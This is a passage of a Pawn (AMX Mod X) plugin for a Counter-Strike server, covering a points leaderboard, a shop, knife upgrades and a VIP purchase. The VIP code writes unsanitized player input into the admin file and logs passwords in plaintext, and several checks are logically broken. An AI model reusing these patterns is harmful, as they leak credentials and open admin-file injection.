	if(!cvar_exists("amx_default_access"))	register_cvar("amx_default_access","z")


#if defined DEBUG
	// locate log file directory
	get_logsdir(gLogFile, charsmax(gLogFile));
	new l = add(gLogFile, charsmax(gLogFile), "/admin_custom");
	
	// check if log directory exists
	if(!dir_exists(gLogFile)) {
		// make directory
		mkdir(gLogFile);
	}
	
	// get the log file
	get_time("/%Y-%m-%d.log", gLogFile[l], charsmax(gLogFile) - l);
#endif
	
	// register kick command
	formatex(gKickCommand, charsmax(gKickCommand), "amxauthcustom%c%c%c%c", random_num('A', 'Z'), random_num('A', 'Z'), random_num('A', 'Z'), random_num('A', 'Z'));
	register_concmd(gKickCommand, "CmdKick");
	
	// locate admin file
	get_configsdir(gAdminFile, charsmax(gAdminFile));
	add(gAdminFile, charsmax(gAdminFile), "/users_custom.ini");
	
	// create array and trie
	gAdminData = ArrayCreate(AdminData);
	gAuthIndex = TrieCreate();
	
	// load admins
	LoadAdmins();
	
	// grab current time
	new hour, minute, second;
	time(hour, minute, second);
	
	// subtract current time from day length to get time left for today
	// add 5 seconds into the next day to be sure the day changed
	new timeLeft = 86400 - (hour * 3600) - (minute * 60) - second + 5;
	
	// set task to refresh admins when tomorrow starts for expiration checking and day checking
	set_task(float(timeLeft), "TaskRefreshAdmins");
#endif


	//register_clcmd( "transfer", "ClCmdFcsDonate" );


	register_clcmd( "say /toppuncte", "TopPuncte" );
	register_clcmd( "say_team /toppuncte", "TopPuncte" );

	get_datadir(Data, 63);
	read_top();


	register_cvar("last_shop","1")
}


#if NEW_STYLE !=1
public plugin_precache()	precache_model(GOLD_AK)
#endif



public RefreshTime(id) {
	checkandupdatetop(id,g_iUserCredits[id]);
	return PLUGIN_HANDLED;
}
public checkandupdatetop(id, points) {
read_top()
	for (new i = INFO_ZERO; i < NTOP; i++)
	{
		if( points > toppoints[i])
		{
			new pos = i;	
			while( !equal(topnames[pos],g_szName[id]) && pos < NTOP )
			{
				pos++;
			}
			
			for (new j = pos; j > i; j--)
			{
				formatex(topnames[j], 31, topnames[j-1]);
				toppoints[j] = toppoints[j-1];
			}
			formatex(topnames[i], 31, g_szName[id]);
			toppoints[i]=points;
			ColorChat(0, BLUE,"^x04%s^x03 %s^x01 este pe locul^x04 %d^x01 in top puncte cu^x03 %d^x01 punct%s", g_szTag, g_szName[id],(i+1),points,points == 1 ? "" : "e");
			save_top();
			break;
		}
		else if( equal(topnames[i], g_szName[id])) 
		break;	
	}
}
public save_top() {
	new path[128];
	formatex(path, 127, "%s/TopPuncte.dat", Data);
	if( file_exists(path) ) {
		delete_file(path);
	}
	new Buffer[256];
	new f = fopen(path, "at");
	for(new i = INFO_ZERO; i < NTOP; i++)
	{
		formatex(Buffer, 255, "^"%s^" ^"%d^"^n",topnames[i],toppoints[i] );
		fputs(f, Buffer);
	}
	fclose(f);
}
public read_top() {
	new Buffer[256],path[128];
	formatex(path, 127, "%s/TopPuncte.dat", Data);
	
	new f = fopen(path, "rt" );
	new i = INFO_ZERO;
	while( !feof(f) && i < NTOP+1)
	{
		fgets(f, Buffer, 255);
		new points[25]
		parse(Buffer, topnames[i], 31, points, 25);
		toppoints[i]= str_to_num(points);
		
		i++;
	}
	fclose(f);
}
public TopPuncte(id)
{	
	static buffer[2368], len, i,name[131]
	len = format(buffer[len], 2367-len,"<html><head><meta charset=UTF-8><STYLE>body{background:#232323;color:#cfcbc2;font-family:sans-serif}table{border-style:solid;border-width:1px;border-color:#FFFFFF;font-size:13px}</STYLE></head><body><table align=center width=100%% cellpadding=2 cellspacing=0>");
	len += format(buffer[len], 2367-len, "<tr align=center bgcolor=#52697B><th width=4%% > Nume: <th width=24%%> Puncte:");

	for(i = INFO_ZERO; i < NTOP; i++ ) {
			if( toppoints[i] == 0) {
				len += format(buffer[len], 2367-len, "<tr align=center bgcolor=#232323><td> %s <td> %s", "-", "-");
				i = NTOP
			}
			else {
				name = topnames[i];
				while( containi(name, "<") != -1 )	replace(name, 129, "<", "&lt;");
				while( containi(name, ">") != -1 )	replace(name, 129, ">", "&gt;");

				if(equal(topnames[i],g_szName[id]))	len += format(buffer[len], 2367-len, "<tr align=center bgcolor=#2D2D2D> <td> [ %s ] <td> [ %d ]", name,toppoints[i]);
				else	len += format(buffer[len], 2367-len, "<tr align=center bgcolor=#232323> <td> [ %s ] <td> [ %d ]", name,toppoints[i]);
			}
	}

	len += format(buffer[len], 2367-len, "</table>");
	len += formatex(buffer[len], 2367-len, "<tr align=bottom font-size:11px><Center><br><br>Primii %d Jucatori Cu Cele Mai Multe Puncte Acumulate</Center></tr></body>",NTOP);

	static strin[125];
	format(strin,124, "Top %d jucatori cu multe puncte",NTOP);
	show_motd(id, buffer, strin);
}


public ClCmdSay( id )
{
	static szArgs[192],arg1[32], arg2[32], arg3[6]
	read_args( szArgs, sizeof ( szArgs ) -1 );
remove_quotes( szArgs );
   arg1[0] = '^0'; 
   arg2[0] = '^0';
   arg3[0] = '^0';
   parse(szArgs, arg1, sizeof(arg1)-1, arg2, sizeof(arg2)-1, arg3, sizeof(arg3)-1); 
	
	if( !szArgs[ 0 ] )
		return PLUGIN_CONTINUE;
	
	new szCommand[ 15 ];
	
	if( equal( szArgs, "/puncte", strlen( "/puncte" ) )
		|| equal( szArgs, "/points", strlen( "/points" ) ) )
	{
		replace( szArgs, sizeof ( szArgs ) -1, "/", "" );
		formatex( szCommand, sizeof ( szCommand ) -1, szArgs );
		client_cmd( id, szCommand );
		return PLUGIN_HANDLED;
	}

	if( equal( szArgs, "/ranks", strlen( "/ranks" ) ) )
	{
		replace( szArgs, sizeof ( szArgs ) -1, "/", "" );
		formatex( szCommand, sizeof ( szCommand ) -1, szArgs );
		client_cmd( id, szCommand );
		return PLUGIN_HANDLED;
	}



	/*if( equal( arg1, "/transfer") )
	{
		ClCmdFcsDonate(id,arg2,arg3)
		return 1;
}*/

	return PLUGIN_CONTINUE;
}


stock ClCmdFcsDonate( id, target[], amnt[] )
{
	if( equal(amnt,"") )
	{
		ColorChat( id, NORMAL, "^x04%s^x01 Folosire:^x03 /transfer^x01 <^x04 nume^x01 > <^x03 punct(e)^x01 >", g_szTag );
		return 1;
	}

new temp = str_to_num(amnt);

	if( temp <= 0 )
	{
		ColorChat( id, NORMAL, "^x04%s^x01 Trebuie sa introduci o valoare mai mare de^x03 1P", g_szTag );
		return PLUGIN_HANDLED;
	}

	if( temp >100 )
	{
		ColorChat( id, NORMAL, "^x04%s^x01 Trebuie sa introduci o valoare mai mica de^x03 100P", g_szTag );
		return PLUGIN_HANDLED;
	}

	if( g_iUserCredits[ id ] < temp )
	{
		ColorChat( id, NORMAL, "^x04%s^x01 Nu ai destule punct%s, ai doar^x03 %i^x01 punct%s", g_szTag,g_iUserCredits[ id ] == 1 ? "" : "e", g_iUserCredits[ id ], g_iUserCredits[ id ] == 1 ? "" : "e" );
		return 1;
	}

	iPlayer = cmd_target( id, target, 8 );
	if( !iPlayer || !is_user_connected( iPlayer ) )
	{
		ColorChat( id, NORMAL, "^x04%s^x01 Acel jucator nu a fost gasit", g_szTag );
		return PLUGIN_HANDLED;
	}

	if( iPlayer == id )
	{
		ColorChat( id,  NORMAL, "^x04%s^x01 Nu-ti poti transfera puncte", g_szTag );
		return PLUGIN_HANDLED;
	}

	g_iUserCredits[ id ] -= temp;
	g_iUserCredits[ iPlayer ] += temp;

	SaveCredits( id );
	SaveCredits( iPlayer );

	new szFirstName[ 32 ], szSecondName[ 32 ];
	get_user_name( id, szFirstName, sizeof ( szFirstName ) -1 );
	get_user_name( iPlayer, szSecondName, sizeof ( szSecondName ) -1 );

	ColorChat( 0, NORMAL, "^x04%s^x01 Jucatorul^x03 %s^x01 i-a transferat^x04 %i^x01 punct%s lu^x03 %s", g_szTag, szFirstName, temp, temp == 1 ? "" : "e", szSecondName );

	return PLUGIN_HANDLED;
}


public event_new_round()
{
	for(new id=0;id<get_maxplayers();++id)
	{
#if NEW_STYLE!=1
	if(start_round_count[id])
	{
#else
if(accesari[id]<2)	accesari[id]=0
		else if(accesari[id]!=0&&++roundsx>=1)
{
	accesari[id]=0
	roundsx=0
}
	if(start_round_count[id]==1||start_round_count[id]==2||start_round_count[id]==3||start_round_count[id]==4)
	{
rounds++
#endif

#if NEW_STYLE == 1
			if(respawn_on[id]>0)	respawn_on[id]--
			if(arme1[id]>0)	arme1[id]--
			if(arme2[id]>0)	arme2[id]--
			if(arme3[id]>0)	arme3[id]--
		if(rounds>=3)
		{
			if(respawn_on[id]<=0)
{
respawn_on[id]=0
start_round_count[id]=5
}
			if(arme1[id]<=0)
{
arme1[id]=0
start_round_count[id]=6
}
			if(arme2[id]<=0)
{
arme2[id]=0
start_round_count[id]=7
}
			if(arme3[id]<=0)
{
arme3[id]=0
start_round_count[id]=8
}

			rounds=0
		}
#else
		if(++rounds>=3)
		{
			start_round_count[id]=false
			respawn_on[id]=true

			/*if(respawn_count1[id]>=2)*/	respawn_count1[id]=0
			/*if(respawn_count2[id]>=3)*/	respawn_count2[id]=0

			rounds=0
		}
#endif

#if NEW_STYLE!=1
	//if(++rounds2>1)
	//{
		/*if(choosed1[id]>=4)*/	choosed1[id]=0
		/*if(choosed2[id]>=4)*/	choosed2[id]=0
		/*if(choosed3[id]>=4)*/	choosed3[id]=0
		/*if(choosed4[id]>=4)*/	choosed4[id]=0
		/*if(choosed5[id]>=4)*/	choosed5[id]=0
		//rounds2=0
	//}
#endif
#if NEW_STYLE!=1
}
#else
}
#endif
}
}


public ClCmdSaySHOP(id)
{
	if(cs_get_user_team(id)==CS_TEAM_SPECTATOR)
	{
		ColorChat(id, NORMAL, "^4%s^1 Trebuie sa fi inscris intr-o^3 Echipa^1 pentru a accesa^4 Shopul^1!",g_szTag)
		return PLUGIN_HANDLED
	}

if(accesari[id]==2)
{
		ColorChat(id, NORMAL, "^4%s^1 Ai accesat meniul de doua ori / Asteapta RUNDA VIITOARE !",g_szTag)
return PLUGIN_HANDLED
}

if(get_cvar_num("last_shop")==1)
{
	new iAliveTerorrists[ 32 ], iAliveTerorristsNum,iAliveCTs[ 32 ], iAliveCTsNum
	get_players( iAliveTerorrists, iAliveTerorristsNum, "ace", "TERRORIST" )
	get_players( iAliveCTs, iAliveCTsNum, "ace", "CT" )
	if( iAliveTerorristsNum <= 1 || iAliveCTsNum <= 1 )
	{
	ColorChat(id, NORMAL, "^4[HNS.PLAY-ARENA.RO]^3 SHOP menu^1 it'is^4 LAST BITCH^1 !")
	return PLUGIN_HANDLED
	}
}

#if NEW_STYLE == 1
   static menu[1048]
   new len = formatex( menu, charsmax(menu), "\r[HNS.PLAY-ARENA.RO]\y MENU SHOP HNS^n^n")

   len += formatex( menu[len], charsmax(menu) - len, "\y[1]\w 50HP+50AP+3$ Medic\r [ 100 puncte ]^n")
   len += formatex( menu[len], charsmax(menu) - len, "\y[2]\w Speed 350 15 Secunde\r [ 80 puncte ]^n")
   len += formatex( menu[len], charsmax(menu) - len, "\y[3]\w Invizil 15 Secunde\r [ 150 puncte ]^n")
   len += formatex( menu[len], charsmax(menu) - len, "\y[4]\w Gravity 400 40 Secunde\r [ 200 puncte ]^n")
   len += formatex( menu[len], charsmax(menu) - len, "\y[5]\w 1 Respawn\r [ 150 puncte ]^n")
   len += formatex( menu[len], charsmax(menu) - len, "\y[6]\w V.I.P System\r [ 5000 puncte ]\d [ 14 zile ]^n")
   len += formatex( menu[len], charsmax(menu) - len, "\y[7]\w USP 3GL + 2HE + 2SMK + 10 HP\r [ 350 puncte ]^n")
   len += formatex( menu[len], charsmax(menu) - len, "\y[8]\w AK47 5GL + 1HE + 1SMK \r[ 500 puncte ]^n")
   len += formatex( menu[len], charsmax(menu) - len, "\y[9]\w AWP 4GL + 2HE + 1SMK + 10HP + 3$Medic\r [ 800 puncte ]^n")

   len += formatex( menu[len], charsmax(menu) - len, "^n\w0.\r Iesire")
   
   new keys = ( 1<<0 | 1<<1 | 1<<2 |1<<3|1<<4|1<<5|1<<6|1<<7|1<<8| 1<<9 )

   show_menu(id, keys, menu, -1, "Shop Mod")
#else
	if(choosed1[id]>=4||choosed2[id]>=4||choosed3[id]>=4||choosed4[id]>=4||choosed5[id]>=4)
	{
		ColorChat(id, NORMAL, "^4[HNS]^1 Ai folosit meniul de^3 4^1 ori ! Asteapta pana^3 runda viitoare")
		return PLUGIN_HANDLED
	}
	
	CheckLevel(id)

/*
	if(Level[id] <= 1)	ranki_shop(id)
	if(Level[id] >= 2)	rankii_shop(id)
	if(Level[id] >= 3)	rankiii_shop(id)
	if(Level[id] >= 4)	rankiv_shop(id)
	if(Level[id] >= 5)	rankv_shop(id)
*/
//hard..next to switch
	if(g_iUserCredits[id] >= C_R1||g_iUserCredits[id] <= C_R1)	ranki_shop(id)
	if(g_iUserCredits[id] >=C_R2)	rankii_shop(id)
	if(g_iUserCredits[id] >=C_R3)	rankiii_shop(id)
	if(g_iUserCredits[id] >=C_R4)	rankiv_shop(id)
	if(g_iUserCredits[id] >=C_R5)	rankv_shop(id)
#endif

	return PLUGIN_CONTINUE
}
public shopmenu(id, key) {
	if(!is_user_alive(id)&&(key!=4||key!=5))	return PLUGIN_HANDLED
	switch(key)
	{
		case 0:
		{
			if(g_iUserCredits[id]<100)
			{
ColorChat(id, GREEN, "^4%s^1 Nu ai suficiente^3 Puncte^1.",g_szTag)
				return PLUGIN_HANDLED
}

			set_user_health(id,get_user_health(id)+50)
			set_user_armor(id,get_user_armor(id)+50)

			cs_set_user_money(id,cs_get_user_money(id)+3,1)

			g_iUserCredits[id]-=100

		ColorChat(id, NORMAL, "^4%s^1 Ai ales^3 50HP+50AP+3$ Medic^1 pentru^4 100P",g_szTag)

accesari[id]++
		}

		case 1:
		{
if(have_speed[id])	return PLUGIN_HANDLED
			if(g_iUserCredits[id]<80)
			{
ColorChat(id, GREEN, "^4%s^1 Nu ai suficiente^3 Puncte^1.",g_szTag)
				return PLUGIN_HANDLED
}

			set_user_maxspeed(id,350.0)
			set_task(15.0,"RemoveSPEED",id)
			have_speed[id]=true

			g_iUserCredits[id]-=80

		ColorChat(id, NORMAL, "^4%s^1 Ai ales^3 350 SPEED^1 timp de^4 15S^1 pentru^3 80P",g_szTag)

accesari[id]++
		}

		case 2:
		{
			if(g_iUserCredits[id]<150)
			{
ColorChat(id, GREEN, "^4%s^1 Nu ai suficiente^3 Puncte^1.",g_szTag)
				return PLUGIN_HANDLED
}

			set_user_rendering(id,kRenderFxNone,0,0,0,kRenderTransAlpha,13)
			set_task(15.0,"RemoveINVIS",id)

			g_iUserCredits[id]-=150

		ColorChat(id, NORMAL, "^4%s^1 Ai ales^3 80% Invizibilitate^1 timp de^4 15S^1 pentru^3 150P",g_szTag)

accesari[id]++
		}

		case 3:
		{
if(have_gravity[id])	return PLUGIN_HANDLED

			if(g_iUserCredits[id]<200)
			{
ColorChat(id, GREEN, "^4%s^1 Nu ai suficiente^3 Puncte^1.",g_szTag)
				return PLUGIN_HANDLED
}

set_user_gravity(id, 400.0/get_cvar_float("sv_gravity"))
set_task(40.0,"RemoveGRAV",id)
have_gravity[id]=true

			g_iUserCredits[id]-=200

		ColorChat(id, NORMAL, "^4%s^1 Ai ales^3 -400 GRAVITY^1 timp de^4 40S^1 pentru^3 200P",g_szTag)

accesari[id]++
		}

		case 4:
		{
if(is_user_alive(id))	return PLUGIN_HANDLED
			if(g_iUserCredits[id]<150)
			{
ColorChat(id, GREEN, "^4%s^1 Nu ai suficiente^3 Puncte^1.",g_szTag)
				return PLUGIN_HANDLED
}

if(respawn_on[id]>0)
{
ColorChat(id,NORMAL,"[HNS.PLAY-ARENA.RO] Ai cumparat deja Respawn! mai ai de asteptat %d rund%s pentru a cumpara iar.",respawn_on[id],respawn_on[id]==1?"a":"e")
return PLUGIN_HANDLED
}

ExecuteHam( Ham_CS_RoundRespawn, id );
respawn_on[id]=3
start_round_count[id]=1

			g_iUserCredits[id]-=150

		ColorChat(id, NORMAL, "^4%s^1 Ai ales^3 RESPAWN^1 pentru^4 150P",g_szTag)

accesari[id]++
		}

		case 5:
		{
			if(is_user_admin(id)/*get_user_flags(id)&read_flags("p")*/)
			{
				ColorChat(id, NORMAL, "^4%s^1 Ai deja^3 acces^1!",g_szTag)
				return PLUGIN_HANDLED
			}

			if(g_iUserCredits[id]<5000)
			{
ColorChat(id, GREEN, "^4%s^1 Nu ai suficiente^3 Puncte^1.",g_szTag)
				return PLUGIN_HANDLED
}

			g_Password[id] = true;

		ColorChat(id, NORMAL, "^4%s^1 Ai cumparat^3 VIP^1 pentru^4 5000P^1 timp de^3 14Zile",g_szTag)

			client_cmd(id, "messagemode amx_buy_vipg1");

                                 ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
                                 ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
                                 ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
                                 ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
                                 ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
                                 ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
                                 ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)

			g_iUserCredits[id]-=5000

accesari[id]++
		}

		case 6:
		{
			if(g_iUserCredits[id]<350)
			{
ColorChat(id, GREEN, "^4%s^1 Nu ai suficiente^3 Puncte^1.",g_szTag)
				return PLUGIN_HANDLED
}
if(arme1[id]>0)
{
ColorChat(id,NORMAL,"[HNS.PLAY-ARENA.RO] Ai cumparat deja USP 3GL + 2HE + 2SMK + 10HP! Mai ai de asteptat %d rund%s pentru a le cumpara iar.",arme1[id],
arme1[id]==1?"a":"e")
return PLUGIN_HANDLED
}

				give_item(id,"weapon_usp")
give_item(id,"weapon_hegrenade")
give_item(id,"weapon_hegrenade")
give_item(id,"weapon_smokegrenade")
give_item(id,"weapon_smokegrenade")

				static usp
				usp = fm_find_ent_by_owner(-1, "weapon_usp", id)
				if(is_valid_ent(usp))
{
cs_set_weapon_ammo(usp,3)
cs_set_user_bpammo(id,CSW_USP,0)
}

set_user_health(id,get_user_health(id)+10)

arme1[id]=3
start_round_count[id]=2

ColorChat(id,NORMAL,"[HNS.PLAY-ARENA.RO] Ai cumparat USP 3GL + 2HE + 2SMK + 10HP")

			g_iUserCredits[id]-=350

accesari[id]++
		}

		case 7:
		{
			if(g_iUserCredits[id]<500)
			{
ColorChat(id, GREEN, "^4%s^1 Nu ai suficiente^3 Puncte^1.",g_szTag)
				return PLUGIN_HANDLED
}
if(arme2[id]>0)
{
ColorChat(id,NORMAL,"[HNS.PLAY-ARENA.RO] Ai cumparat deja AK47 5GL + 1HE + 1SMK! Mai ai de asteptat %d rund%s pentru a cumpara iar.",arme2[id],arme2[id]==1?"a":"e")
return PLUGIN_HANDLED
}

				give_item(id,"weapon_ak47")
give_item(id,"weapon_hegrenade")
give_item(id,"weapon_smokegrenade")
				static ak47
				ak47 = fm_find_ent_by_owner(-1, "weapon_ak47", id)
				if(is_valid_ent(ak47))
{
cs_set_weapon_ammo(ak47,5)
cs_set_user_bpammo(id,CSW_AK47,0)
}
arme2[id]=3
start_round_count[id]=3

			g_iUserCredits[id]-=500

ColorChat(id,NORMAL,"[HNS.PLAY-ARENA.RO] Ai cumparat AK47 5GL + 1HE + 1SMK")

accesari[id]++
		}

		case 8:
		{
			if(g_iUserCredits[id]<800)
			{
ColorChat(id, GREEN, "^4%s^1 Nu ai suficiente^3 Puncte^1.",g_szTag)
				return PLUGIN_HANDLED
}

if(arme3[id]>0)
{
ColorChat(id,NORMAL,"[HNS.PLAY-ARENA.RO] Ai cumparat deja AWP 4GL + 2HE + 1SMK + 10HP + 3$Medic! Mai ai de asteptat %d rund%s",arme3[id],arme3[id]==1?"a":"e")
return PLUGIN_HANDLED
}

				give_item(id,"weapon_awp")
give_item(id,"weapon_hegrenade")
give_item(id,"weapon_hegrenade")
give_item(id,"weapon_smokegrenade")

				static awp
				awp = fm_find_ent_by_owner(-1, "weapon_awp", id)
				if(is_valid_ent(awp))
{
cs_set_weapon_ammo(awp,4)
cs_set_user_bpammo(id,CSW_AWP,0)
}

set_user_health(id,get_user_health(id)+10)

cs_set_user_money(id,cs_get_user_money(id)+3,1)

arme3[id]=3
start_round_count[id]=4

			g_iUserCredits[id]-=800

ColorChat(id,NORMAL,"[HNS.PLAY-ARENA.RO] Ai cumparat AWP 4GL + 2HE + 1SMK + 10HP + 3$Medic")

accesari[id]++
		}

		default: return PLUGIN_HANDLED
	}

	return PLUGIN_HANDLED
}




public ClCmdSayK(id)
{
   new menuBody[512]

   add(menuBody, charsmax(menuBody), "\w[\rHNS.PLAY-ARENA.RO\w -\r KNIFE SYSTEM\w]^n^n")
   add(menuBody, charsmax(menuBody), "\r(\w1\r)\w -\r Knife Level I\w [\r +10 DMG +5 speed\w ] [\r 5k/points\w ]^n")
   add(menuBody, charsmax(menuBody), "\r(\w2\r)\w -\r Knife Level II\w [\r +20 DMG +10 speed\w ] [\r 10k/points\w ]^n")
   add(menuBody, charsmax(menuBody), "\r(\w3\r)\w -\r Knife Level III\w [\r +30 DMG +20 speed\w ] [\r 30k/points\w ]^n^n")
   //add(menuBody, charsmax(menuBody), "\r(\w4\r)\w -\r V.I.P\w -\r G1\w [\r 50k/points\w ] [\r available\w ] [\r 3/weeks\w ]^n^n")
   add(menuBody, charsmax(menuBody), "\w0.\r Iesire")
   
   new keys = ( 1<<0 | 1<<1 | 1<<2 /*|1<<3*/| 1<<9 )
   show_menu(id, keys, menuBody, -1, "Knife Mod")
}
public knifemenu(id, key) {
	if(!is_user_alive(id))	return PLUGIN_HANDLED
	switch(key)
	{
		case 0:
		{
			if(g_iUserCredits[id]<5000)
			{
				ColorChat(id,NORMAL,"^3[HNS.PLAY-ARENA.RO]^1 Nu ai destule^3 puncte^1 pentru a cumpara acest^4 KNIFE^1 !")
				return PLUGIN_HANDLED
			}
			
			if(k1[id]||Level[id]<1)	return PLUGIN_HANDLED

			g_iUserCredits[id]-=5000
			k1[id]=true

			ColorChat(id,NORMAL,"^4[HNS.PLAY-ARENA.RO]^1 Ai cumparat:^4 Knife Level I")
		}

		case 1:
		{
			if(g_iUserCredits[id]<10000)
			{
				ColorChat(id,NORMAL,"^3[HNS.PLAY-ARENA.RO]^1 Nu ai destule^3 puncte^1 pentru a cumpara acest^4 KNIFE^1 !")
				return PLUGIN_HANDLED
			}
			
			if(k2[id]||Level[id]<2)	return PLUGIN_HANDLED

			g_iUserCredits[id]-=10000
			k2[id]=true

			ColorChat(id,NORMAL,"^4[HNS.PLAY-ARENA.RO]^1 Ai cumparat:^4 Knife Level II")
		}

		case 2:
		{
			if(g_iUserCredits[id]<30000)
			{
				ColorChat(id,NORMAL,"^3[HNS.PLAY-ARENA.RO]^1 Nu ai destule^3 puncte^1 pentru a cumpara acest^4 KNIFE^1 !")
				return PLUGIN_HANDLED
			}
			
			if(k3[id]||Level[id]<3)	return PLUGIN_HANDLED

			g_iUserCredits[id]-=30000
			k3[id]=true

			ColorChat(id,NORMAL,"^4[HNS.PLAY-ARENA.RO]^1 Ai cumparat:^4 Knife Level III")
		}

		/*case 3:
		{
			if(g_iUserCredits[id]<50000)
			{
				ColorChat(id,NORMAL,"^3[HNS.PLAY-ARENA.RO]^1 Nu ai destule^3 puncte^1 pentru a cumpara^4 V.I.P")
				return PLUGIN_HANDLED
			}
			
			if(is_user_admin(id))	return PLUGIN_HANDLED

			g_iUserCredits[id]-=50000

			g_Password[id] = true;
			client_cmd(id, "messagemode amx_buy_vipg1");

                                 ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
                                 ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
                                 ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
                                 ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
                                 ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
                                 ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
                                 ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)

			ColorChat(id,NORMAL,"^4[HNS.PLAY-ARENA.RO]^1 Ai cumparat:^4 V.I.P G-1^1 valabil 3/weeks")
		}*/
	}
	return PLUGIN_HANDLED
}

public buy_vip_g1(id) 
{
if (!g_Password[id]||is_user_admin(id)/*get_user_flags(id)&read_flags("p")*/) 
{
	ColorChat(id, GREY, "^x04[Buy VIP] ^x01You can't buy !!!")
	return PLUGIN_HANDLED;
}

read_args(szPassword, 34);
remove_quotes(szPassword);
//trim

if (equal(szPassword, ""))//da
{
	ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
	ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
	ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
	ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
	ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
	ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
	ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
	
	client_cmd(id, "messagemode amx_buy_vipg1");
	
	return PLUGIN_HANDLED;
}

g_Password[id] = false;

client_print(id, print_console, "[Buy VIP G1] Your password: %s", szPassword);
client_print(id, print_console, "[Buy VIP G1] Your password: %s", szPassword);
client_print(id, print_console, "[Buy VIP G1] Your password: %s", szPassword);
client_print(id, print_console, "[Buy VIP G1] Your password: %s", szPassword);

if(cvar_exists("amx_password_field"))	get_cvar_string("amx_password_field",spw,charsmax(spw))
else	log_to_file("buy_vip.log", "NU AM GASIT CVARUL `amx_password_field`");


client_cmd(id, "setinFO %s %s",spw, szPassword)

set_user_flags(id,read_flags("ak"))

#if NEW_STYLE!=1
	formatex(text,charsmax(text),"^n^"%s^" ^"%s^" ^"p^" ^"ak^" ; VIP  G1 CUMPARAT DE LA KNIVES !!!!", g_szName[id], szPassword)
	write_file("addons/amxmodx/configs/users.ini",text)

	log_to_file("buy_vip_g1.log", "%s bought G1. Password, Is %s", g_szName[id], szPassword);

	server_cmd("amx_reloadadmins");
	server_exec();
#else
	new yearx,monthx,dayx//fara format la lună??
	date(yearx,monthx,dayx)
	//new ***[65]//for monthx..
	//new flage[35]

	if(dayx+14>28)
	{
		dayx=28-dayx<=0?1:dayx//01
	}
	else dayx=dayx+14

		if(monthx+1>12)
		{
			//***="01"
			yearx=yearx+1
		}
		else
		{
			monthx=monthx+1
			/*if(monthx<=9)	formatex(***,charsmax(***),"0%d",monthx)
			//else	formatex(***,charsmax(***),monthx)
			*/
		}

	/*if(is_user_admin(id))
	{
		get_flags(get_user_flags(id),flage,charsmax(flage))
		formatex(***,charsmax(***),"%sp",flageget_user_flags(id))
	}
	else	***="p"*/

	formatex(text,charsmax(text),"^"%s^" ^"%s^" ^"p^" ^"ak^" ^"1^" ^"%d.%d.%d^"", g_szName[id], szPassword,dayx,monthx,yearx)
	write_file("addons/amxmodx/configs/users_custom.ini",text)

	log_to_file("buy_vips.log", "%s bought VIP. Password, Is %s", g_szName[id], szPassword);
	LoadAdmins();
	checkAdmin(id/*,g_szName[id]*/)	
#endif

return PLUGIN_HANDLED;
}

public Player_TakeDamage( iVictim, iInflictor, iAttacker, Float:fDamage )
{
	if( is_user_alive( iAttacker ) && iInflictor == iAttacker && k1[iAttacker] && get_user_weapon( iAttacker ) == CSW_KNIFE )
	{
		SetHamParamFloat( 4, fDamage * 1.0 );
		return HAM_HANDLED;
	}

	if( is_user_alive( iAttacker ) && iInflictor == iAttacker && k2[iAttacker] && get_user_weapon( iAttacker ) == CSW_KNIFE )
	{
		SetHamParamFloat( 4, fDamage * 2.0 );
		return HAM_HANDLED;
	}

	if( is_user_alive( iAttacker ) && iInflictor == iAttacker && k3[iAttacker] && get_user_weapon( iAttacker ) == CSW_KNIFE )
	{
		SetHamParamFloat( 4, fDamage * 3.0 );
		return HAM_HANDLED;
	}

	return HAM_IGNORED;
}

